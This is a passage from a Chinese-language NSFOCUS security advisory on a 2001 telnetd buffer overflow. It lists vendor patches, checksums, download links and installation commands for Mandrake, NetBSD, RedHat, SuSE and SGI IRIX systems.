97f93cbfb8283c6eaaa8046aa3f6aa55  7.2/RPMS/telnet-server-0.17-7.1mdk.i586.rpm
666dddb9572c03a8122c7428066bebdc  7.2/SRPMS/telnet-0.17-7.1mdk.src.rpm

Mandrake Linux 8.0:
77cb8c2f140eb51ff0e303b228585213  8.0/RPMS/telnet-0.17-7.1mdk.i586.rpm
9bcd5a4bb716f6ae25beb0460996665f  8.0/RPMS/telnet-server-0.17-7.1mdk.i586.rpm
666dddb9572c03a8122c7428066bebdc  8.0/SRPMS/telnet-0.17-7.1mdk.src.rpm

Corporate Server 1.0.1:
0c25fb858b93cbbc30a8f16ff80952d8  1.0.1/RPMS/telnet-0.16-4.1mdk.i586.rpm
a2a90ff0bcfa1c3f4da1008900bb2b98  1.0.1/RPMS/telnet-server-0.16-4.1mdk.i586.rpm
a960f23b3bc9113ba2696d8b23e9fe3d  1.0.1/SRPMS/telnet-0.16-4.1mdk.src.rpm

Single Network Firewall 7.2:
a6f72da6eef4874c419d82ef23e58363  snf7.2/RPMS/telnet-0.17-7.1mdk.i586.rpm
97f93cbfb8283c6eaaa8046aa3f6aa55  snf7.2/RPMS/telnet-server-0.17-7.1mdk.i586.rpm
666dddb9572c03a8122c7428066bebdc  snf7.2/SRPMS/telnet-0.17-7.1mdk.src.rpm

NetBSD
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

* NetBSD-current:

   您可以从CVS更新,然后重新编译安装telnetd:
   # cd src/libexec/telnetd
   # cvs update -d -P
   # make cleandir dependall install

* NetBSD 1.3, 1.3.x, 1.4, 1.4.x, 1.5, 1.5.1

   您可以从下列地址下载补丁,然后重新编译安装telnetd:
   ftp://ftp.netbsd.org/pub/NetBSD/security/patches/SA2001-012-telnetd.patch

   # cd src/libexec/telnetd
   # patch < SA2001-012-telnetd.patch
   # make cleandir dependall install

RedHat
------
RedHat已经为此发布了一个安全公告(RHSA-2001:099-06)以及相应补丁:
RHSA-2001:099-06:New telnet packages available to fix buffer overflow vulnerabilities
链接:https://www.redhat.com/support/errata/RHSA-2001-099.html

补丁下载:

Red Hat Linux 5.2:

SRPMS:
ftp://updates.redhat.com/5.2/en/os/SRPMS/telnet-0.17.5x-18.src.rpm

alpha:
ftp://updates.redhat.com/5.2/en/os/alpha/telnet-0.17.5x-18.alpha.rpm

i386:
ftp://updates.redhat.com/5.2/en/os/i386/telnet-0.17.5x-18.i386.rpm

sparc:
ftp://updates.redhat.com/5.2/en/os/sparc/telnet-0.17.5x-18.sparc.rpm

Red Hat Linux 6.2:

SRPMS:
ftp://updates.redhat.com/6.2/en/os/SRPMS/telnet-0.17.6x-18.src.rpm

alpha:
ftp://updates.redhat.com/6.2/en/os/alpha/telnet-0.17.6x-18.alpha.rpm
ftp://updates.redhat.com/6.2/en/os/alpha/telnet-server-0.17.6x-18.alpha.rpm

i386:
ftp://updates.redhat.com/6.2/en/os/i386/telnet-0.17.6x-18.i386.rpm
ftp://updates.redhat.com/6.2/en/os/i386/telnet-server-0.17.6x-18.i386.rpm

sparc:
ftp://updates.redhat.com/6.2/en/os/sparc/telnet-0.17.6x-18.sparc.rpm
ftp://updates.redhat.com/6.2/en/os/sparc/telnet-server-0.17.6x-18.sparc.rpm

Red Hat Linux 7.0:

SRPMS:
ftp://updates.redhat.com/7.0/en/os/SRPMS/telnet-0.17-18.src.rpm

alpha:
ftp://updates.redhat.com/7.0/en/os/alpha/telnet-0.17-18.alpha.rpm
ftp://updates.redhat.com/7.0/en/os/alpha/telnet-server-0.17-18.alpha.rpm

i386:
ftp://updates.redhat.com/7.0/en/os/i386/telnet-0.17-18.i386.rpm
ftp://updates.redhat.com/7.0/en/os/i386/telnet-server-0.17-18.i386.rpm

Red Hat Linux 7.1:

SRPMS:
ftp://updates.redhat.com/7.1/en/os/SRPMS/telnet-0.17-18.src.rpm

alpha:
ftp://updates.redhat.com/7.1/en/os/alpha/telnet-0.17-18.alpha.rpm
ftp://updates.redhat.com/7.1/en/os/alpha/telnet-server-0.17-18.alpha.rpm

i386:
ftp://updates.redhat.com/7.1/en/os/i386/telnet-0.17-18.i386.rpm
ftp://updates.redhat.com/7.1/en/os/i386/telnet-server-0.17-18.i386.rpm

ia64:
ftp://updates.redhat.com/7.1/en/os/ia64/telnet-0.17-18.ia64.rpm
ftp://updates.redhat.com/7.1/en/os/ia64/telnet-server-0.17-18.ia64.rpm

可使用下列命令安装补丁:

rpm -Fvh [文件名]

S.u.S.E.
--------
S.u.S.E.已经为此发布了一个安全公告(SuSE-SA:2001:029)以及相应补丁:
SuSE-SA:2001:029:nkitb/nkitserv/telnetd

补丁下载:

i386 Intel Platform:

SuSE-7.2
ftp://ftp.suse.com/pub/suse/i386/update/7.2/n1/telnet-server-1.0-69.i386.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/telnet-1.0-69.src.rpm

SuSE-7.1
ftp://ftp.suse.com/pub/suse/i386/update/7.1/n1/nkitserv-2001.8.14-0.i386.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/nkitb-2001.8.14-0.src.rpm

SuSE-7.0
ftp://ftp.suse.com/pub/suse/i386/update/7.0/n1/nkitserv-2001.8.16-0.i386.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/nkitb-2001.8.16-0.src.rpm


Sparc Platform:

SuSE-7.1
ftp://ftp.suse.com/pub/suse/sparc/update/7.1/n1/nkitserv-2001.8.14-0.sparc.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/sparc/update/7.1/zq1/nkitb-2001.8.14-0.src.rpm

SuSE-7.0
ftp://ftp.suse.com/pub/suse/sparc/update/7.0/n1/nkitserv-2001.8.16-0.sparc.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/nkitb-2001.8.16-0.src.rpm


AXP Alpha Platform:

SuSE-7.1
ftp://ftp.suse.com/pub/suse/axp/update/7.1/n1/nkitserv-2001.8.14-0.alpha.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/nkitb-2001.8.14-0.src.rpm

SuSE-7.0
ftp://ftp.suse.com/pub/suse/axp/update/7.0/n1/nkitserv-2001.8.16-0.alpha.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/axp/update/7.0/zq1/nkitb-2001.8.16-0.src.rpm


Power PC Platform:

SuSE-7.1
ftp://ftp.suse.com/pub/suse/ppc/update/7.1/n1/nkitserv-2001.8.14-0.ppc.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/nkitb-2001.8.14-0.src.rpm

SuSE-7.0
ftp://ftp.suse.com/pub/suse/ppc/update/7.0/n1/nkitserv-2001.8.16-0.ppc.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/nkitb-2001.8.16-0.src.rpm



补丁安装方法:

用“rpm -Fhv file.rpm”命令安装文件,完成后,如果rsync服务是用inetd启动的,向inetd进程发送信号重启之。如果rsync是用“rsync --daemon”命令启动的,则再用此命令重启rsync服务。

SGI
---
SGI已经为此发布了一个安全公告(20010801-01-P)以及相应补丁:
20010801-01-P:IRIX Telnet protocol options vulnerability
链接:ftp://patches.sgi.com/support/free/security/advisories/20010801-01-P

补丁情况:

   OS Version     Vulnerable?     Patch #      Other Actions
   ----------     -----------     -------      -------------

   IRIX 3.x        unknown                     Note 1
   IRIX 4.x        unknown                     Note 1
   IRIX 5.x        unknown                     Note 1
   IRIX 6.0.x      unknown                     Note 1
   IRIX 6.1        unknown                     Note 1
   IRIX 6.2        unknown                     Note 1
   IRIX 6.3        unknown                     Note 1
   IRIX 6.4        unknown                     Note 1
   IRIX 6.5          yes           4354        Note 2 & 3
   IRIX 6.5.1        yes           4354        Note 2 & 3
   IRIX 6.5.2        yes           4354        Note 2 & 3
   IRIX 6.5.3        yes           4354        Note 2 & 3
   IRIX 6.5.4        yes           4354        Note 2 & 3
   IRIX 6.5.5        yes           4354        Note 2 & 3
   IRIX 6.5.6        yes           4354        Note 2 & 3
   IRIX 6.5.7        yes           4354        Note 2 & 3
   IRIX 6.5.8        yes           4354        Note 2 & 3
   IRIX 6.5.9        yes           4354        Note 2 & 3
   IRIX 6.5.10       yes           4354        Note 2 & 3
   IRIX 6.5.11       yes           4354        Note 2 & 3
   IRIX 6.5.12       yes           4354        Note 2 & 3
   IRIX 6.5.13       yes           4354        Note 3 & 4


   备注:

     1) 这个版本的IRIX系统已经不再被维护了,请升级到受支持的版本,参看http://support.sgi.com/irix/news/index.html#policy 来获得更多的信息。

     2) 如果你还未收到一张IRIX 6.5.x for IRIX 6.5的CD,请联系SGI的支持
        部门,访问:http://support.sgi.com/irix/swupdates/

     3) 升级到IRIX 6.5.16m或6.5.16f。
  
您可以在下列地址下载IRIX补丁:

http://support.sgi.com/
ftp://patches.sgi.com/support/patchset/

浏览次数:4966
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障